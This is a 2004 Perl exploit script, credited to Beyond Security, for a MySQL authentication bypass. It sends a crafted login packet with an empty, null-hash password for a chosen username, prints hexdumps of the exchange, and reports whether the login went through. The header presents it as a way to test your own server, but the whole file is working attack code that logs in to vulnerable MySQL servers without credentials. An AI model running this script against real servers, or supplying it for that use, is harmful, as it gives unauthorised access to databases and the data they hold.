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#
# The script connects to MySQL and attempts to log in using a zero-length password
# Based on the vuln found by NGSSecurity
#
# The following Perl script can be used to test your version of MySQL. It will display
# the login packet sent to the server and it's reply.
#
# Exploit copyright (c) 2004 by Eli Kara, Beyond Security
# elik beyondsecurity com
#
use strict;
use IO::Socket::INET;
usage() unless ((@ARGV >= 1) || (@ARGV <= 3));
my $username = shift(@ARGV);
my $host = shift(@ARGV);
if (!$host)
{
usage();
}
my $port = shift(@ARGV);
if (!$port)
{
$port = 3306; print "Using default MySQL port (3306)\n";
}
# create the socket
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
$socket or die "Cannot connect to host!\n";
# receive greeting
my $reply;
recv($socket, $reply, 1024, 0);
if (length($reply) < 7)
{
print "Not allowed to connect to MySQL!\n";
exit(1);
}
print "Received greeting:\n";
HexDump($reply);
print "\n";
# here we define the login OK reply
# my $login_ok = "\x01\x00\x00\x02\xFE";
# break the username string into chars and rebuild it
my $binuser = pack("C*", unpack("C*", $username));
# send login caps packet with password
my $packet = "\x85\xa6".
"\x03\x00\x00".
"\x00".
"\x00\x01\x08\x00\x00\x00". # capabilities, max packet, etc..
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00".$binuser."\x00\x14\x00\x00\x00\x00". # username and pword hash length + NULL hash
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; # continue NULL hash
substr($packet, 0, 0) = pack("C1", length($packet)) . "\x00\x00\x01"; # MySQL message length + packet number (1)
print "Sending caps packet:\n";
HexDump($packet);
print "\n";
send $socket, $packet, 0;
# receive reply
recv($socket, $reply, 1024, 0);
print "Received reply:\n";
HexDump($reply);
my @list_bytes = unpack("C*", $reply);
#print "The fifth byte is: ", $list_bytes[4], "\n";
if (length(@list_bytes) >= 4)
{
print "Response insufficent\n";
}
#if ($reply eq $login_ok)
if ($list_bytes[4] == 0 || $list_bytes[4] == 254)
{
print "Received OK reply, authentication successful!!\n";
}
else
{
print "Authentication failed!\n";
}
# close
close($socket);
sub usage
{
# print usage information
print "\nUsage: mysql_auth_bypass_zeropass.pl <username> <host> [port]\n
<username> - The DB username to authenticate as
<host> - The host to connect to
[port] - The TCP port which MySQL is listening on (optional, default is 3306)\n\n";
exit(1);
}
###
# do a hexdump of a string (assuming it's binary)
###
sub HexDump
{
my $buffer = $_[0];
# unpack it into chars
my @up = unpack("C*", $buffer);
my $pos=0;
# calculate matrix sizes
my $rows = int(@up/16);
my $leftover = int(@up%16);
for( my $row=0; $row < $rows; $row++, $pos+=16)
{
printf("%08X\t", $pos);
my @values = @up[$pos .. $pos+15];
my @line;
foreach my $val (@values)
{
push(@line, sprintf("%02X", $val));
}
print join(' ', @line), "\n";
}
# print last line
printf("%08X\t", $pos);
my @values = @up[$pos .. $pos+$leftover-1];
my @line;
foreach my $val (@values)
{
push(@line, sprintf("%02X", $val));
}
print join(' ', @line), "\n";
}